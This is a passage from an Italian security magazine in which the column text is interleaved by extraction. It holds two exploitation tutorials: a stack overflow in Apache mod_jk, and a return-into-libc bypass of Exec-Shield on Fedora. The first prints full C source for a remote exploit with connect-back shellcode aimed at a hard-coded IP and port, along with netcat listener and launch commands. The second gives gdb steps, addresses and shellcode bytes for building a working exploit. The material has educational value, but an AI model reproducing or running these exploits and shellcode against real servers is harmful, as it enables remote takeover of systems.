crash del processo. 0xbffff060: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
(gdb) c 0xbffff068: 0x41 0x41 0x41 0x41 0x41 0x41
Program received signal SIGSEGV, 0x41 0x41
Segmentation fault. 0xbffff070: 0x41 0x41 0x41 0x41 0x41 0x41
0x49494949 in ?? () 0x41 0x41
0xbffff078: 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) p $eip 0x41 0x41
$2 = (void *) 0x49494949 […]

Fase 2: Determinare in quale area di memoria fare Come viene dettagliato nel sorgente crash.c
puntare l'indirizzo di ritorno (Tabella 1), 0x41 è la rappresentazione esadecimale
del carattere “A” (proprio il punto in memoria che ci
interessa osservare). Quelli mostrati sono tutti indirizzi
Come ultimo step volto ad ottenere tutte le
utili, ma per il proseguo dell'articolo utilizzeremo quello
informazioni utili per il completamento della prossima
che è stato sottolineato nell'output mostrato sopra
ed ultima fase (ovvero quella di creazione dell'exploit
(0xbffff060). Nel nostro exploit questo dovrà
remoto) è necessario determinare a quale area di
sostituire l'indirizzo 0x49494949 puntato nel paragrafo
memoria l'indirizzo di ritorno sovrascritto dovrà
precedente dal registro EIP[15].
puntare. Quella sarà la zona approssimativa in cui
cercheremo di collocare uno shellcode. Il punto più
Fase 3: Scrivere l'exploit
logico è verso la seconda metà delle “A" che sono
state utilizzate per riempire gran parte dello spazio del Sostanzialmente sfruttare uno stack overflow si riduce
buffer “buf” nel sorgente mostrato in Tabella 1. Per sempre a riempire opportunamente un buffer di dati da
identificare quest'area è necessario analizzare la inviare al server vulnerabile.
memoria del processo debuggato a partire da un
[15] Al contrario di ESP ed EBP descritti all'inizio dell'articolo,
indirizzo di ESP inferiore a quello trovato dopo
abbiamo tardato di proposito prima di menzionare questo registro.
l'analisi svolta nel secondo breakpoint . Ciò è dovuto al EIP punta sempre alla prossima istruzione che il processore dovrà
fatto che nella piattaforma hardware x86 lo stack eseguire.

23
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Contrariamente però al sorgente di esempio ricevere la shell ed in “Selected Encoder” selezionare


mostrato in Tabella 1, l'obiettivo questa volta non è “Alpha2”[17], quindi premere sul pulsante “Generate
fare crashare il servizio, bensì ottenere una shell Payload” e sostituire il vecchio shellcode con il nuovo
remota. Solitamente (e questo caso conferma quella nel codice riportato in Tabella 2. La compilazione del
che viene considerata una quasi regola) la sorgente è sempre la stessa:
costruzione del buffer si sostanzia nel:
$ gcc mod_jk_exploit.c –o mod_jk_exploit
1) riempire una parte cospicua con dei NOP[16]
(0x90); Prima di lanciare l'exploit dovrete però aprire la porta
nella quale volete ricevere la shell. Una sessione di
for(i = 0; i <= 3921; i++) netcat[18] sarà sufficiente (eseguite il programma come
buf[i] = 0x90; utente root se intendete utilizzare una porta nel range
1-1024):
2) collocare in seguito lo shellcode;
$ nc –l porta
calc = 4127 - strlen(shellcode) - 4;
memcpy(buf+calc, shellcode, Da un altro prompt avviate quindi l'exploit:
sizeof(shellcode));
$ ./mod_jk_exploit ip_del_web_server 80
3) successivamente inserire l'indirizzo di ritorno che
modificherà quello in origine posto nello stack Dalla finestra del netcat potete adesso interagire con il
attraverso l'istruzione “call” dalla funzione che prompt di shell del server vulnerabile:
ha chiamato quella vulnerabile.
id
long ret = 0xbffff060; uid=501(wwwsite) gid=501(wwwsite)
[…] groups=501(wwwsite)
memcpy(buf+4123, &ret, 4);

I sorgenti di esempio riportati in Tabella 1 ed


Quando a seguito dell'overflow del buffer “url” il in Tabella2 possono essere prelevati dal sito
http://www.segfault.it/SS/001/vanillab0f/
return address verrà sovrascritto con 0xbffff060, il
mod_jk_exploit.tar.gz
registro EIP puntando a quell'indirizzo continuerà
l'esecuzione del processo dai NOP fino a giungere
allo shellcode che verrà a sua volta eseguito aprendo
una shell. In Tabella 2 riportiamo l'exploit per intero.
Lo shellcode utilizzato in questo caso è un connect-
back (non apre una porta in ascolto sul server
[16] No Operation: forza il processore ad eseguire l'istruzione
vulnerabile bensì si connette al sistema dal quale successiva in memoria. La presenza dei NOP aumenta le
l'exploit è stato lanciato e poi fornisce accesso al probabilità di successo di un exploit, in quanto presuppone che non
prompt dei comandi). Per eseguire i vostri test sia necessario conoscere l'esatto punto in memoria in cui sarà
dovrete sostituire questo shellcode con uno collocato uno shellcode.

personalizzato. E' sufficiente collegarsi al sito [17] Un classico shellcode non funzionerebbe in quanto molti dei
http://metasploit.com:55555/PAYLOADS, caratteri di cui è composto verrebbero filtrati da Apache,
indicare in “ADDR” l'indirizzo IP dal quale intendete precludendo la corretta riuscita dell'attacco.

lanciare l'exploit, in “PORT” la porta nella quale volete [18] http://www.vulnwatch.org/netcat/

24
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

TABELLA 1: crash.c
/* crash.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <strings.h>

int main(int argc, char *argv[])


{
/*
32 byte
*/
char crash [] = "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII";

/*
descrittori, variabili e strutture utilizzate dal programma
*/
int fd, i = 0;
struct sockaddr_in xab;

/*
"buf": buffer che conterrà l'URI della richiesta HTTP

"request": variabile che conterrà l'intera richiesta


HTTP comprensiva di URI
*/
char buf[5000], request[8000];

/*
Se non vengono passati due parametri al programma, mostra
la sintassi di utilizzo ed esci
*/
if (argc != 3)
{
printf("%s: ip port\r\n", argv[0]);
exit(0);
}

/*
Si crea un socket TCP per connettersi al web server
*/
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
{
printf("socket: %s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}

/*
Si azzerano strutture e buffer prima dell'utilizzo
*/
memset(&buf, 0, sizeof(buf));
memset(&request, 0, sizeof(request));
memset(&xab, 0, sizeof(xab));

/*

25
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

si definiscono famiglia, porta ed indirizzo al quale ci si


connetterà attraverso questo socket

*/
xab.sin_family = AF_INET;
xab.sin_port = htons(atoi(argv[2]));
xab.sin_addr.s_addr = inet_addr(argv[1]);

/*
buf viene riempito di "A" (0x41) per 4095 byte
*/
for(i = 0; i <= 4094 ; i++)
buf[i] = 0x41;

/*
in seguito viene copiato all'interno di "buf" il contenuto di "crash"
generando un URI del tipo:

AAAAAAAA[x4095]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"

*/
memcpy(buf+4095, crash, sizeof(crash));

/*
Viene creata una richiesta HTTP del tipo:

GET /[URI] HTTP/1.0


*/
sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf);
printf("Invio: \r\n%s\r\n", request);

/*
Ci si connette al web server
*/
i = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
if (i == -1)
{
printf("connect: %s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}

/* Si invia la richiesta HTTP al web server */


send(fd, request, strlen(request), 0);

/*
Si chiude la comunicazione con il web server
*/
close(fd);
}

TABELLA 2: mod_jk_exploit.c

/* mod_jk_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
26
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

#include <errno.h>
#include <string.h>
#include <strings.h>

int main(int argc, char *argv[])


{
/*
Connect-Back Shellcode

Sostituiscilo generandone uno personale visitando il sito


http://metasploit.com:55555/PAYLOADS
Questo shellcode fa una reverse connect all'indirizzo
192.168.0.248 sulla porta 4321
*/
char shellcode [] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x49"
"\x58\x50\x30\x42\x31\x42\x41\x6b\x42\x41\x59\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x58\x50\x42\x38\x42\x42\x75\x38\x69\x70\x31\x6b"
"\x6b\x62\x73\x62\x63\x71\x43\x61\x7a\x63\x32\x53\x5a\x45\x36\x52"
"\x78\x4f\x79\x6d\x31\x7a\x6d\x4d\x50\x6e\x73\x42\x79\x6c\x70\x45"
"\x6f\x6a\x6d\x6f\x70\x73\x79\x62\x59\x58\x79\x41\x4b\x51\x4a\x41"
"\x78\x4b\x70\x4f\x58\x65\x50\x4b\x4e\x31\x76\x30\x68\x76\x70\x68"
"\x61\x71\x53\x42\x46\x70\x53\x6f\x79\x69\x71\x6e\x50\x51\x76\x66"
"\x30\x33\x61\x31\x43\x6b\x39\x6d\x31\x73\x73\x38\x4d\x4f\x70\x63"
"\x62\x43\x58\x36\x4f\x36\x4f\x50\x73\x75\x38\x42\x48\x66\x4f\x52"
"\x42\x71\x79\x50\x6e\x4d\x59\x4b\x53\x43\x62\x36\x33\x4d\x59\x6d"
"\x31\x6e\x50\x76\x6b\x7a\x6d\x4b\x30\x49";

int fd, i = 0;
int calc;
struct sockaddr_in xab;
char buf[4128], request[8000];

/*
Puntatore ai NOP che precedono lo shellcode in memoria.
L'indirizzo è stato testato sia su Red Hat 7.2
che su Debian 3.0/3.1/4.0
*/
long ret = 0xbffff060;

if (argc != 3)
{
printf("%s: ip port\r\n", argv[0]);
exit(0);
}

fd = socket(AF_INET, SOCK_STREAM, 0);


if (fd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}

memset(&buf, 0, sizeof(buf));
memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(atoi(argv[2]));
xab.sin_addr.s_addr = inet_addr(argv[1]);

27
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

/*
Riempiamo buf per 3922 byte di NOP
*/
for(i = 0; i <= 3921; i++)
buf[i] = 0x90;

/*
Calcoliamo da quale posizione all'interno di buf parte
la copia dello shellcode, ovvero da:

4127 byte (dimensione totale dell'URI senza lo "/")


- dimensione dello shellcode (202 byte)
- 4 byte di return address
= 3921
*/
calc = 4127 - strlen(shellcode) - 4;
memcpy(buf+calc, shellcode, sizeof(shellcode));

/*
Collochiamo alla fine di "buf" il valore che sovrascriverà
il return address della funzione vulnerabile
*/
memcpy(buf+4123, &ret, 4);

sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf);

printf("[*] Connect to remote host...\r\n");


i = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
if (i == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}

printf("[*] Send data to remote host...\r\n");


send(fd, request, strlen(request), 0);

sleep(1);
printf("[*] Done...checks for shell\r\n");
close(fd);
}

28
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

Introduzione Execute della tabella di paging dei sistemi x86-64.


Non possiamo utilizzare più i tradizionali shellcode?
uando nella primavera del 2003 venne Benissimo…rifugiamoci allora nelle più complesse e

Q rilasciata la Red Hat 9.0 ed annunciato che


sarebbe stata l'ultima distribuzione della
serie liberamente scaricabile dalla rete, molti utenti
(tra cui il sottoscritto) avvertirono un leggero ma
mai tramontate tecniche return-into-libc.
Impossibile…su Fedora gli indirizzi delle librerie di
sistema sono collocati sotto i 16 MB e sono tutti quanti
costituiti da un NULL byte iniziale (ad esempio
fastidioso tonfo al cuore. Per gli hacker di metà/fine 0x004abd55), circostanza che rende inutile nella
anni 90, le diverse versioni del sistema operativo maggior parte dei casi lo sfruttamento di un attacco di
sviluppate dalla compagnia con il simbolo del cappello tipo return-into-libc (Ndr. almeno nelle modalità
rosso hanno significato molto. Chi ha infatti tradizionali). No, nemmeno linux-gate.so.1 (che ha
cominciato a smanettare in quel periodo ben si ricorda fatto la felicità di moltissimi utenti/smanettoni di
gli exploit rilasciati dal teso-team[1] per i demoni wu- Slackware ed Ubuntu) può esserci utile in questo
ftpd, rpc.statd, lpd ed i target principali a cui essi caso, anche a causa delle proprietà di
miravano (appunto Red Hat 6.0, 6.1, 6.2 e 7.0, randomizzazione (ASLR) che riguardano tanto lo
distribuzioni con le quali era al tempo abbastanza spazio di indirizzamento virtuale dei processi, quanto
comune imbattersi mentre si smanettava in rete). Poi il Virtual DSO[3], proprietà che rende impossibile
arrivò Fedora[2] e ben presto si capì che Red Hat predire con esattezza dove funzioni o istruzioni di
avrebbe utilizzato il progetto come banco di prova per interesse verranno collocate in memoria. Queste ed
testare nuove funzionalità da portare in seguito sui una serie di altre difficoltà hanno così spinto alcuni
rilasci stabili delle edizioni commerciali dei suoi personaggi della rete a definire Fedora “la bestia nera
prodotti. Fedora oggi è quindi divenuta la distribuzione degli hacker” ed Exec-Shield “il mostro“ o “la cosa“,
di riferimento per chi un tempo usava ed apprezzava termini di comune richiamo cinematografico utilizzati
gratuitamente Red Hat Linux. Sono passati però proprio per cercare di rendere l'idea del livello di
quasi nove anni dalla storica vulnerabilità della complessità aggiunto al corretto exploiting di un
versione 2.6.0(1) del wu-ftpd o dalle versioni buggate comune buffer overflow.
di rpc.statd ed il panorama della sicurezza informatica
è cambiato sensibilmente da allora, soprattutto con
l'avvento delle nuove tecnologie che sin dall'inizio
hanno promesso di rendere “vicino all'impossibile” lo
sfruttamento delle comuni falle software come gli
stack overflow.

Effettivamente l'introduzione delle moderne misure di


protezione ha portato innumerevoli grattacapi a chi [1] Celebre hacker crew che ha operato fra il 1998 ed il 2004.
fino a poco tempo prima era abituato a sfruttare nelle
[2] http://fedoraproject.org/: Progetto open source sponsorizzato
modalità tradizionali un “comune” e per certi versi
ma non direttamente sostenuto da Red Hat. E' sostanzialmente
“banale” stack overflow. Fedora è proprio una di quelle una distribuzione Linux client/server side fedele nelle funzionalità
distribuzioni hardenizzate al midollo, distribuzione che alle edizioni commerciali di Red Hat Enterprise Linux.
soprattutto a partire dalla versione Core 5 ha fiaccato
gli animi di moltissimi hacker (o sedicenti tali) facendo [3] Oggetto condiviso esposto dal kernel per implementare le
virtual syscall. Consiste in una pagina di memoria mappata nello
apparire anche lo sfruttamento di un banale stack
spazio di indirizzamento virtuale di ogni processo e collocata
overflow, un'impresa da titano. Primo imputato in aula spesso ad un indirizzo fisso, nella maggior parte dei casi anche
per questo panico generale, Exec-Shield, la quando /proc/sys/kernel/randomize_va_space risulta
tecnologia che simula a livello software il bit No- essere attivo (ovvero impostato ad 1).

29
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

disassemblare do_it() ed inserire un punto di arresto


Exec-Shield un po' più da vicino…
un attimo prima che la funzione ritorni. Dopo abbiamo
Leggendo fin qui verrebbe da asserire che bypassare avviato server_vuln con il comando “run” del gdb.
Exec Shield sia praticamente impossibile. Niente di più Poiché l'unica variabile allocata all'inizio nello stack
sbagliato! Attualmente esistono almeno due/tre metodi frame della funzione do_it() è request, dovrebbero
noti per farlo, ognuno con i suoi pro ed i suoi contro ed essere sufficienti 264 byte per riuscire a manipolare
ognuno sfruttabile a seconda di precise circostanze arbitrariamente EIP (256 byte per il sovrascrivere il
che si devono verificare durante la fase di exploiting o buffer, 4 byte per sovrascrivere il Frame Pointer ed
che dipendono dal modo in cui l'applicazione altri 4 byte per sovrascrivere l'Instruction Pointer).
vulnerabile è stata scritta. Oggi descriveremo in Proviamo quindi da un prompt dei comandi differente a
dettaglio uno di questi tre metodi partendo dal codice vedere cosa succede inviando 264 'A' al servizio:
fallato di esempio riportato in Tabella 1. Si tratta di un
semplice servizio che si mette in ascolto sulla porta # telnet attack_machine 60000
TCP 60000, prende via socket una stringa inviata Trying xxx.xxx.xxx.xxx...
dall'utente, la ristampa a video e chiude la Connected to attack_machine.
Escape character is '^]'.
connessione. La parte più interessante è costituita
AAAAAAAAAAAAAAAAAAAAAAAAAA[…]
dalla funzione do_it() e precisamente dalla
strcpy() che cerca di copiare la stringa ricevuta
Completato questo task il debugger si arresta al
dall'utente all'interno di request, un array di caratteri
breakpoint dichiarato. Uno sguardo all'attuale
della dimensione di 256 byte. Tuttavia dal main() è
conformazione dello stack ci rivela che l'arrary
possibile notare che la richiesta dell'utente letta
request è stato correttamente sovrascritto così come
attraverso read() viene scritta in mex (un char array di
l'indirizzo del Frame Pointer e dell'Instruction Pointer:
1024 byte) prima di essere trasferita alla funzione
handle() e quindi a do_it(). Ciò significa che l'utente Breakpoint 1, 0x080488dd in do_it ()
può inviare più di 256 byte di dati e causare così uno (gdb) p $esp
stack overflow. $1 = (void *) 0xbfc341ec
(gdb) x/4bx 0xbfc341ec
Osserviamo più da vicino cosa accade quando il 0xbfc341ec: 0x41 0x41 0x41 0x41
sorgente di esempio della Tabella 1 viene compilato ed
eseguito su Fedora Core 7. Per capire meglio quali Infatti L'Instruction Pointer punta a 0x41414141 (le
difficoltà Exec-Shield antepone all'esecuzione di ultime quattro A inviate al servizio). Continuando
codice remoto avviamo una sessione di debugging con l'esecuzione dell'applicazione da questo punto,
gdb: l'istruzione “ret” dovrebbe prelevare dallo stack
l'indirizzo sovrascritto e causare un Segmentation
# gcc server_vuln.c –o server_vuln Fault (0x41414141 è relativo ad un'area di memoria
# gdb ./server_vuln inesistente). Ma vediamo cosa accade in realtà:
(gdb) disas do_it
Dump of assembler code for function do_it:
(gdb) c
[…]
Continuing.
0x080488dd <do_it+86>: ret
End of assembler dump.
Program received signal SIGSEGV,
(gdb) break *0x080488dd
Segmentation fault.
Breakpoint 1 at 0x80488dd
0x080488dd in do_it ()
(gdb) run
(gdb) p $eip
$2 = (void (*)()) 0x80488dd <do_it+86>
Ciò che abbiamo fatto qui è stato semplicemente

30
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

Dal debugger apprendiamo che dopo il crash effettivamente possibile. Tra lo stack frame della
dell'applicazione, il registro EIP non punta funzione vulnerabile e quello della funzione chiamante
direttamente a 0x41414141, bensì all'indirizzo o delle funzioni ancora antecedenti, deve essere
0x80488dd che nel listato assembly visualizzato in dichiarato da qualche parte (attenzione non
precedenza corrisponde proprio all'istruzione “ret” in immediatamente prima dello stack frame della
do_it(). In parole povere Exec-Shield ha fatto il suo funzione vulnerabile ma una manciata di byte più in
là che quantificheremo meglio dopo) un puntatore al
dovere e non ha permesso che il registro EIP venisse
buffer che viene sovrascritto.
manipolato a piacimento dall'attacker ed utilizzato per
puntare ad un eventuale shellcode nello Stack.
La teoria dietro l'attacco
Bye Bye Stack Memory
In realtà non abbiamo ancora risposto
L'ultima frase del paragrafo precedente è vitale per esaurientemente alla domanda posta poco prima:
comprendere la tecnica che ci stiamo accingendo a come fare a collocare uno shellcode al di fuori dello
descrivere e merita pertanto di essere riletta con Stack? La tecnica che ci accingiamo a spiegare (per il
attenzione. Non possiamo posizionare uno shellcode momento in modo teorico e solo successivamente sul
nello stack non significa però che non possiamo pratico) non è in realtà nuova ma è un riadattamento di
collocarlo in un'area di memoria differente, quanto descritto da Nergal nel numero 58 di Phrack[4].
possibilmente dotata di permessi in scrittura ed Essa dimostra che gli attacchi basati su shellcode sono
esecuzione: ancora possibili su distribuzioni come Fedora pur la
presenza di misure di protezione complesse come
# ps –wuax | grep server_vuln Exec-Shield. Questa tecnica funziona con minime
root 2374 0.0 0.1 1588 332 pts/0 T
modifiche sia su Fedora che su Red Hat Enterprise e
19:29 0:00 /usr/local/test/server_vuln
CentOS[5]. I test dai noi condotti sono stati comunque
svolti su Fedora Core 6 e la più recente edizione Core
# cat /proc/2374/maps
7.
[…]
004bd000-004be000 rwxp 0001b000 fd:00
2258040 /lib/ld-2.6.so Per collocare uno shellcode in una zona di memoria
[…] residente all'esterno dello Stack, accessibile sia in
00610000-00611000 rwxp 00150000 fd:00 scrittura che in esecuzione, possiamo avvalerci di un
2258041 /lib/libc-2.6.so attacco avanzato del tipo return-into-libc utilizzando la
[…] funzione di sistema strcpy(). L'attacco è riassumibile
in quattro semplici punti:
Osservando lo stato della memoria dell'applicazione
vulnerabile di esempio, quest'area potrebbe benissimo
essere un qualsiasi punto nel range di indirizzi di ld-
2.6.so o libc-2.6.so. Entrambi queste due librerie
linkate dinamicamente a server_vuln possono infatti
essere utilizzate per scrivere istruzioni che verranno
interpretate come eseguibili dal processore (notare i
permessi assegnati rwxp). La domanda a questo punto
[4] http://www.phrack.org/archives/58/p58-0x04: The advanced
è: come fare a scrivere uno shellcode in un indirizzo
return-into-lib(c) exploits.
residente all'esterno dello Stack? Si deve verificare
un'unica condizione vitale affinché ciò possa essere [5] http://www.centos.org/: distribuzione derivata da Red Hat
Enterprise Linux e gratuitamente scaricabile.

31
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

Dopo aver saturato il buffer non controllato I vantaggi del riadattamento della tecnica
dell’applicazione di esempio: di Nergal

1) L'indirizzo di ritorno della funzione vulnerabile Questa tecnica (che ci accingiamo a sfruttare sul
(ovvero nel nostro caso do_it()) viene alterato pratico) permette di rendere nulle alcune misure di
con l'indirizzo in memoria in cui si trova protezione implementate su Red Hat Linux e le
un'istruzione “ret”. Nella maggior parte delle distribuzioni derivate (Fedora e CentOS). Più
circostanze queste istruzioni necessitano di precisamente di:
essere concatenate una di seguito all'altra (riferirsi
a tal proposito alla Figura 1) in modo da allineare il - bypassare Exec-Shield: possiamo eseguire del
puntatore allo shellcode e renderlo il secondo codice da remoto attraverso shellcode.
parametro della strcpy() invocata al punto 2.
- bypassare i meccanismi di Address Space
Layout Randomization: non abbiamo bisogno di
2) A seguire viene collocato l'indirizzo PLT[6] della
conoscere con esattezza l'indirizzo nello stack in
funzione strcpy().
cui si trova lo shellcode, basta semplicemente
sapere la distanza quantificata a gruppi di 4 byte
3) Successivamente viene collocato di nuovo
che intercorre tra l'indirizzo di ritorno sovrascritto
l'indirizzo in memoria in cui si trova un'istruzione
della funzione vulnerabile ed il puntatore allo
“ret”. Operando in questo modo al ritorno da
shellcode dichiarato più in là nello stack (vi
strcpy() il flusso di esecuzione del programma
ricordate la condizione vitale che si doveva
proseguirà dall'indirizzo della libreria dichiarato al
verificare e che abbiamo citato un paio di paragrafi
punto 4, eseguendo effettivamente lo shellcode.
addietro?).

4) Infine viene posto nello Stack l'indirizzo di una - evitare di utilizzare funzioni di sistema
qualsiasi area di memoria marcata come collocate sotto i 16 MB: in effetti viene utilizzato
accessibile in scrittura ed esecuzione (fare l'indirizzo PLT di strcpy() che è dichiarato
riferimento al paragrafo precedente per capire sempre in un punto fisso del file binario e non
come identificarla). l'indirizzo nella libreria di sistema che contiene un
NULL byte. Ciò rende ancora possibile usufruire a
L'effetto prodotto alla fine sarà che il contenuto piacimento di tecniche return-into-libc[7].
dell'area di memoria puntata nello step 1 (dove
risiederà lo shellcode) verrà copiato all'indirizzo
specificato nel punto 4. Successivamente questo
verrà invocato per mezzo del ret dichiarato al punto 3.
[6] Procedure Linkage Table: E' una tabella che i file in formato
Trattandosi di una zona marcata come eseguibile, le ELF utilizzano per il linking dinamico, ovvero per consentire alle
istruzioni qui residenti verranno interpretate come applicazioni di accedere a runtime alle funzioni contenute in una
codice ed opportunamente eseguite dal processore. libreria di sistema (ad esempio libc). All'esecuzione del
programma, durante la chiamata ad una funzione contenuta in una
Complimenti…avete eseguito una shell!
libreria di sistema, viene invocata con un'istruzione “call” la
relativa entry PLT che a sua volta salta ad un indirizzo nella Global
Tecnica avanzata Return-Into-Libc Offset Table (GOT) che punta al vero codice della funzione.

RET RET RET strcpy() PLT RET


RWX Library Shellcode [7] Se la vulnerabilità applicativa che si sta cercando di sfruttare
... Address Pointer
deriva da una delle funzioni C di gestione delle stringhe come
strcpy(), la presenza di un NULL byte nel buffer sovrascritto
Figura 1: Collocazione nello stack degli elementi utili ad eseguire uno determinerà l'interruzione immediata della copia dei dati,
shellcode in presenza di Exec-Shield risultando in un attacco incompleto e quindi non funzionante.

32
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

Bene. Adesso è arrivato il momento di mettere in 0x41 0x41


pratica quanto sinora scritto solo in modo teorico. […]
0xbfe41540: 0x41 0x41 0x41 0x41 0x41 0x41
Come al solito la creazione di un exploit funzionante 0x41 0x41
richiederà la raccolta di alcune informazioni
preventive. Procediamo quindi. L'indirizzo 0xbfe41440 punta infatti al buffer di “A”
inviato dall'utente. Esattamente la condizione che ci
Fase 1: Trovare l'offset del puntatore allo serve per bypassare Exec-Shield. Lo scopo è quindi
shellcode quello di costruire opportunamente i contenuti che
fanno seguito al buffer saturato in modo da allineare
nello stack gli argomenti richiesti dalla strcpy(). Uno
Come già detto la condizione primaria all'exploiting
di questi è proprio il puntatore in memoria in cui risiede
della vulnerabilità del sorgente mostrato in Tabella 1 è
lo shellcode!
che nello Stack deve risiedere, ad una sufficiente
distanza dal frame della funzione vulnerabile, un
puntatore che punti al buffer sovrascritto. Cerchiamo di Fase 2: Trovare l'indirizzo di un'istruzione
capire se questo è il nostro caso. Riavviamo la stessa
ret
sessione di debugging ed inseriamo lo stesso
breakpoint come già spiegato nel paragrafo “Exec-
L'indirizzo di un'istruzione “ret” ci serve per allineare
Shield un po' più da vicino” a pagina 30. Sempre
nello stack gli argomenti che verranno passati alla
come riportato in quel paragrafo, colleghiamoci al
strcpy(), fungendo null'altro che da padding:
servizio ed inviamo 264 byte di dati. Al manifestarsi del
breakpoint analizziamo il contenuto dello Stack a
(gdb) disas do_it
partire dall'attuale indirizzo puntato da ESP: […]
0x080488dd <do_it+86>: ret
(gdb) x/100bx $esp
0xbfe413fc: 0x41 0x41 0x41 0x41
Per lo scopo possiamo benissimo utilizzare
0x0d 0x0a 0x00 0xbf
0xbfe41404: 0x70 0x44 0x4b 0x00
“0x080488dd” ma in linea di massima qualsiasi altro
0xf4 0xff 0x60 0x00 punto nel binario contenente questa istruzione andrà
0xbfe4140c: 0x20 0x14 0xe4 0xbf bene.
0xd0 0x13 0x58 0x00
0xbfe41414: 0xf3 0x13 0x58 0x00
0x78 0x18 0xe4 0xbf Fase 3: Trovare l'indirizzo PLT di strcpy()
0xbfe4141c: 0x20 0x88 0x04 0x08
0x40 0x14 0xe4 0xbf Trovare l'indirizzo PLT di strpcy() è altrettanto
[…] semplice. Sempre disassemblando la funzione
do_it() da gdb si deve identificare l'apposita
L'output è stato suddiviso a blocchi di 4 byte per istruzione “call”:
maggiore comprensione. Il primo indirizzo
( 0x41414141 ) corrisponde al return address […]
0x080488c1 <do_it+58>: call 0x8048518
sovrascritto. 9 indirizzi più avanti troviamo proprio ciò
<strcpy@plt>
che stavamo cercando:
[…]

(gdb) x/264bx 0xbfe41440


Nel nostro esempio “0x8048518” è l'indirizzo che ci
0xbfe41440: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
serve.
0xbfe41448: 0x41 0x41 0x41 0x41 0x41 0x41

33
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)

Fase 4: Identificare un'area in memoria spazzatura) per raggiungere i 260 byte (ovvero per
accessibile in scrittura ed esecuzione arrivare a sovrascrivere il Frame Pointer della funzione
vulnerabile):
Qui basta semplicemente individuare il pid del servizio "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
vulnerabile ed analizzare il filesystem /proc. Un "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
esempio di questo tipo lo abbiamo già mostrato nel "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
paragrafo “Bye Bye Stack Memory” a pagina 31. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Approfittando di quell'output possiamo scegliere un "AAAAAAAA"
qualsiasi indirizzo compreso fra 0x004bd000 e
Successivamente dovranno essere concatenate sei
0x004be000 oppure fra 0x00610000 e 0x00611000.
istruzioni “ret”:
Nel nostro caso la scelta è caduta su 0x004bd055.
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
Ultimo step: Creare l'exploit "\xdd\x88\x04\x08\xdd\x88\x04\x08"
"\xdd\x88\x04\x08\xdd\x88\x04\x08"

Osserviamo per un momento ancora il contenuto dello Quindi andrà posto l'indirizzo PLT della funzione
Stack così come mostrato con il gdb durante la Fase 1, strcpy():
ovvero poco prima che l'overflow si manifestasse.
Mettendo in conto lo stesso return address sovrascritto, "\x18\x85\x04\x08"
sappiamo che da esso al puntatore del buffer utente ci
Ancora un'istruzione “ret”:
stanno in mezzo 9 indirizzi. Ciò sarà sempre vero. Ad
ogni nuova esecuzione dell'applicazione potrà variare "\xdd\x88\x04\x08"
l'indirizzo base dello Stack Pointer per le proprietà
ASLR del sistema operativo, ma la distanza degli Ed infine l'indirizzo prescelto che punta all'area di
argomenti rimarrà sempre la stessa. Per avere un memoria accessibile in scrittura ed esecuzione:
allineamento come quello della Figura 1, la stringa
"\x55\xd0\x4b\x00";
inviata al servizio vulnerabile dal nostro exploit
(riportato in Tabella 2) dovrà comporsi delle seguenti Adesso mettiamo nuovamente sotto debugging
parti. All'inizio verrà collocato lo shellcode: l'applicazione vulnerabile ed impostiamo un break point
prima del ritorno della funzione do_it(). Fatto ciò,
char shellcode[] = compiliamo e lanciamo l'exploit in Tabella 2:
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74"
"\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" $ gcc exploit.c –o exploit
"\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61" $ ./exploit indirizzo_ip
"\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"
"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6" Dal punto di arresto del debugger analizziamo ancora
"\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" una volta la conformazione dello Stack:
"\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3"
"\x30\x49\x86\x60\x81\xd2\x45\xbb\x32" (gdb) x/40bx $esp
